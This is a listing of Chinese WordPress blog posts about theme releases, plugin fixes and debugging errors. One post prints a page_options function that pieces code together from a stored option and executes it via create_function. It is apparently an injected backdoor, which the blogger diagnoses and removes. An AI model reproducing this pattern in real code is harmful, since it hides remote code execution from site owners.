最近我的wordpress空间总是报“资源使用超限”的错误,经常导致网站进不去了。而且有时候是我忙了好多天偶然来看下网站,却发现不能访问,真是让人惶恐。

多数资源超限的情况,看空间的cpanel,都是cpu 100%,或Entry Processes达到了10,有一次是磁盘用光了。cpu 100%我以为是空间太差,磁盘用光了这种错哪会出现啊!?结果ftp登上去找了一圈,发现根目录下生成了一个400多M的.errlog文件,fuck!

磁盘满事件过去几天了,我网站还是经常崩溃,而空间商也找不到原因。让我很失望,都打算另找一家了。

结果今天进cpanel,在Metrics面板下看到了Visitors链接,一时好奇进去看,发现:继续阅读

之前我推荐过一个主题,叫Pearlie,是免费的。后来我用了之后发现虽然是免费的,但却是一个阉割版,里面有大量后期删除代码的痕迹。

今天我发的这个呢,是Pearlie的完整版。其原始地址在这里,但这个网站已经挂掉了,也正是因此我才敢私自发布这个主题出来。本来之前这个网站一直说下一年会放出免费的完整版,结果我等到网站不在了都没等到,而这个版本是我搜寻了大量英文网盘才下载到的,我觉得好的主题实在不应该遗落在灰尘中啊。

原来的那个免费的Pearlie版本的介绍在此,而完整版的相对免费版有以下改变:

  1. 右侧的Popular,Comments,Tags是Tab切换形式
  2. 首页中部多了一个3栏切换项目
  3. 多了3个广告位
  4. 可以在footer后加入自定义代码(如统计代码)
  5. 自定义RSS链接

此主题强悍在于这些区块管理都是在后台点击相应区块即可,很方便直接。启用主题后打开后台-外观-Pearlie Options,你就懂了。继续阅读

版权声明:格子.X是脚儿网从wordpress默认主题twentyeleven修改而来,可自由使用,但请注明作者及保留版权.

预览格子.X

下载链接,当前版本1.1

因为上面的预览只能预览白版,所以截两张黑版的图以供参考,图大,请稍等:

当浏览器小于800时:

更新记录:

2013/4/18更新1.1版,修复了响应式布局下的一些样式,实现了无插件分页,最新评论,相关文章等

2013/4/8发布初始版本

由于源自twentyeleven,所以twentyeleven支持的他也支持,包括:

  1. 有黑白两种风格
  2. 有左侧边栏,右侧边栏及无侧边栏三种布局
  3. 响应式布局(预览请缩小浏览器窗口即可看到)

由此看来,默认主题是个好东西,里面包含了最新版wp拥有的新特色。

另外,格子.X有以下特点:

  1. 汉化了大部分英文
  2. 后台添加了一个可以在页脚插入代码的功能(方便你加入统计代码)
  3. 线框式布局
  4. 面包屑导航

继续阅读

wp125插件我很早就在用了,但他一直以来都有个问题,就是广告标题只能是英文的——输入其他字符,比如中文,提交之后会发现字符就变成了一串问号。

相信很多使用wp125的同学都发现了这个问题,大家看我侧边栏的方块广告,貌似是WP125做的——其实不是,是我手动写的html.原因就是因为他的中文乱码问题导致我不得不放弃使用。

节前我还发邮件问了插件作者,但他回复叫我不用担心……但没有说出解决办法,只是在他回复之前我就自己解决了……

其实这个问题很简单的,就是一个数据库编码的问题。偶然间我进入WP的数据库,发现其他所有表都是utf8编码,偏偏wp125建的那个表却是latin(拉丁)编码,所以就出现了提交的时候正常,但写入数据库时就变成了乱码。

修复方法就是把wp125表的编码也变成utf8的

在wp125插件目录的installer.php中查找CREATE TABLE,在其后语句中()的后面 加入  DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci,总共有两个CREATE TABLE,建议都加上.这句的意思是设置数据库编码为utf8。

加上后,如果你已经启用过wp125,就要禁用并删除它,然后传上修改后的版本重新启用。如果还不凑效,那就只有跑到phpmyadmin里手动删掉wp125的数据表了。

修复这个问题后,我就不用手动写广告代码了,嘿嘿

最后我放出已经修复了乱码问题的wp125插件吧。下载链接

今天测试新主题的时候,解决了一个奇怪的问题。

问题的表现是:文章内页不显示文章内容,但文章标题,标签,作者什么的都显示正常。

这个问题的奇怪之处在于:

  1. 只是文章内容不显示,其他的都显示,而且也不报错
  2. 首页的文章摘要显示正常
  3. get_the_content()显示正常
  4. 本地测试正常,网上测试就不显示

没办法我甚至用了英文搜索,结果也没找到答案。后来我想是不是the_content函数被覆盖了——类似于JS中的变量冲突——于是我找到了最容易覆盖系统函数的functions.php,结果发现问题果然在这里。

虽然原因并不是the_content被覆盖了,不过也差不多,代码中用add_action为the_content添加了一个函数,函数的功能并不重要,但这个函数却有错误,导致the_content输出的结果也就不对了。

如果你也碰到the_content没有内容的问题,你可以参考下面的修复办法:

  1. the_content必须在主循环中,即必须有<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
  2. 查看是不是有其他函数取了the_content的名字
  3. 查看有没有什么函数绑定到the_content()上面,通常在functions.php

当前主题预览

更新记录:

  1. 2012-9-12:更新样式。发现原来的样式太重口味了没多少人喜欢。下载此版

Pearlie绿豆糕主题,就是现在(2012/09/06)我正在使用的这款主题。这款主题是由Pearlie脱胎而来,因为是绿色的,所以就叫绿豆糕吧。

原Pearlie是一款非常优秀的主题,作者是 WP4Mags,此修改版的绿豆糕主题由本站(脚儿网)发布,但版权归原站所有。

绿豆糕相对于原版Pearlie来说,做了以下改进:

  1. 汉化
  2. 样式大变样
  3. 修复不能正常显示中文摘要的问题
  4. CSS纰漏修复(原版CSS使用了通篇的float)
  5. JS文件减少到2个,弃用了jQuery,使用了我自己的XScroll2.js

Pearlie绿豆糕主题特色:

  1. CMS风格
  2. 后台简单明了的图形设置界面(外观–Pearlie设置
  3. 首页超大幻灯片切换(默认不显示,后台可开启)
  4. 带切换效果的“推荐,热门,人气”文章列表
  5. 还算过得去的主题样式(自认为)

使用绿豆糕主题时要注意:

1,非IE内核浏览器视觉效果更佳

主题使用了部分css3属性,在IE9,Chrome,Firefox,Opera等现代浏览器下效果更好。但不影响低版本IE浏览器浏览。

2,可能不兼容IE6

CSS并没有针对IE6进行详细测试。作为一个前端开发者,要为IE6的泯灭做点贡献了

3,搭配以下插件使用效果更好

WordPress Related Posts,显示相关文章

WP-PageNavi分页导航,显示分页

WP-PostViews,显示文章浏览数及人气文章

注意:WP-PageNavi插件设置请去掉使用pagenavi- css.css”的勾选,以便使用绿豆糕设置的分页样式。但wp-pagenavi有个bug:比如有3页,但他的最后一页(即第3页)并没有加入.last的Classname,导致此主题的分页样式会出现一点瑕疵。不过这是可以修复的,本站使用的是我修复的wp-pagenavi插件,如果有人需要,我就发出来。

下载及说明:

下载地址: http://pan.baidu.com/share/link?shareid=25767&uk=3472959227 (仍然可下但不推荐)

912版: http://pan.baidu.com/share/link?shareid=32255&uk=3472959227

如果你有兴趣,可以翻看本站的首页–分类页–搜索页等,或在此文后面留言告知你的发现及建议(顺便还可以测试一下留言样式)。

写给需要首页幻灯片的使用者

首页幻灯片启用后,可以像其他节点一样自由编辑。但图片大小是950*250,比较大,所以建议首页幻灯片图片数量不要超过5张;而如果是速度不快的国外空间(比如我),不建议启用。

召唤主题展示者:

本站只是暂时使用绿豆糕主题,但绿豆糕会一直提供下载,所以需要其他的使用者来展示绿豆糕效果。如果你的wordpress使用了此Pearlie绿豆糕主题,你可以联系我(如在本文留言),我会在此文章内加入你的网址作为绿豆糕示例网站。可以当作你网站的一个外链。

如果你的网站弃用了绿豆糕主题,则我也会去掉你在本文的链接。此举只是为了给新用户展示正确的主题效果,无关乎人情。不过你可以与我交换友情链接,保持长久往来。

此问题是在网友测试xTaoke主题的时候发现的,说起来很坑爹。

xTaoke对每页的文章数量要求比较严格,比如一行显示4篇文章,那每一页的总 文章数量就应该是4的倍数。相信很多主题都有类似的要求,不然不好看。

假设我们设置每页显示16篇文章。

当你置顶某篇文章后,如果这篇文章的本来顺序是大于16的,奇怪的事情出现了。继续阅读

之所以记下这个错误,是因为这个错很奇怪。

一般这个错误的全文是:

Cannot redeclare dscrypt() (previously declared in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/header.php:152) in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/functions.php(29) : runtime-created function(1) : eval()’d code on line 67

说他奇怪,有几点:

  1. 错误的最后行数一定是on line 67.但即使你真的改了对应文件的第67行,他还是会报这个错。
  2. 一般这个错误都出现在wordpress主题的function.php文件
  3. 这个错误出现的很莫名其妙

我上一篇文章说了,我因为pearlie主题报错而换了一个新主题。但今天早上在公司,突然发现新主题也报错,而且是与pearlie差不多的错。尼玛,要不要人活啊!

昨天在家里测试新主题的时候,没什么问题,但今天却又报错。我搜索了一下这个错误,发现很多人都遇到这个问题——但都是外国人,国内没有这方面的信息,而且,外国人也没有说怎么解决这个问题。

郁闷了。我改了主题function.php的第67行,但依然报这个67的错。然后我发现错误中出现了好几个文件,于是我一一查看这些文件。关键来了,看我上文错误里的红色function.php后面那个括号,那里面才是错误出现的真正的行数。

找到这一行,不出所料你会发现一个php函数:page_options,他的内容应该如下:

function page_options() { 
	$option = get_option('page_option'); 
	$opt=unserialize($option);
	@$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );
	return $arg('');
}
add_action('loop_start', 'page_options');

一般就是上面的出现@这一行报错,但你删掉这个@依然会报错。

我的解决办法是:把page_options函数整个删掉!连同他后面的add_action语句都删掉!

然后主题就正常了。不过我建议你谨慎修改,有疑问可以联系我。

这个page_options函数,我搜索了一下,不是wordpress的官方函数,但同时出现在我的pearlie主题及新换的主题中,而我把他们都删掉之后,两个主题都恢复正常了。于是我又换回了pearlie。

我怀疑是不是我的网站被入侵了。。。各位小心。

不知道是什么原因,也许是我改的太多了,结果pearlie就出了毛病,今天一看居然所有页面都报错了,但这电脑上没有工具一时也没法改,干脆把主题给换了。

现在这个主题很好很漂亮,大家可以在页脚找到主题链接。

不多说了

——————-更新——————-

主题我又换回来了。原来报错的原因并不是主题有毛病,而是wordpress有毛病。

错误全文类似于:

Fatal error: Cannot redeclare dscrypt() (previously declared in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/header.php:152) in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/functions.php(29) : runtime-created function(1) : eval()’d code on line 67

很奇怪的错误。我已基本找到解决办法,待我整理下就写篇文章专门说说如何修复这个错误。fatal error解决办法更新

wordpress设置哪种固定链接格式才好?

网上有很多教你选择何种永久链接(即固定链接)格式的文章,说来说去都没个所以然,还有人浑水摸鱼来骗点击量的。其实,关于固定链接格式的选择,要注意的就这么3点:

1,对SEO有利

2,不同级别的链接不能混淆

3,要有容错能力,不能出现莫名其妙链接地址就变了的情况

下面一步步详细说明:继续阅读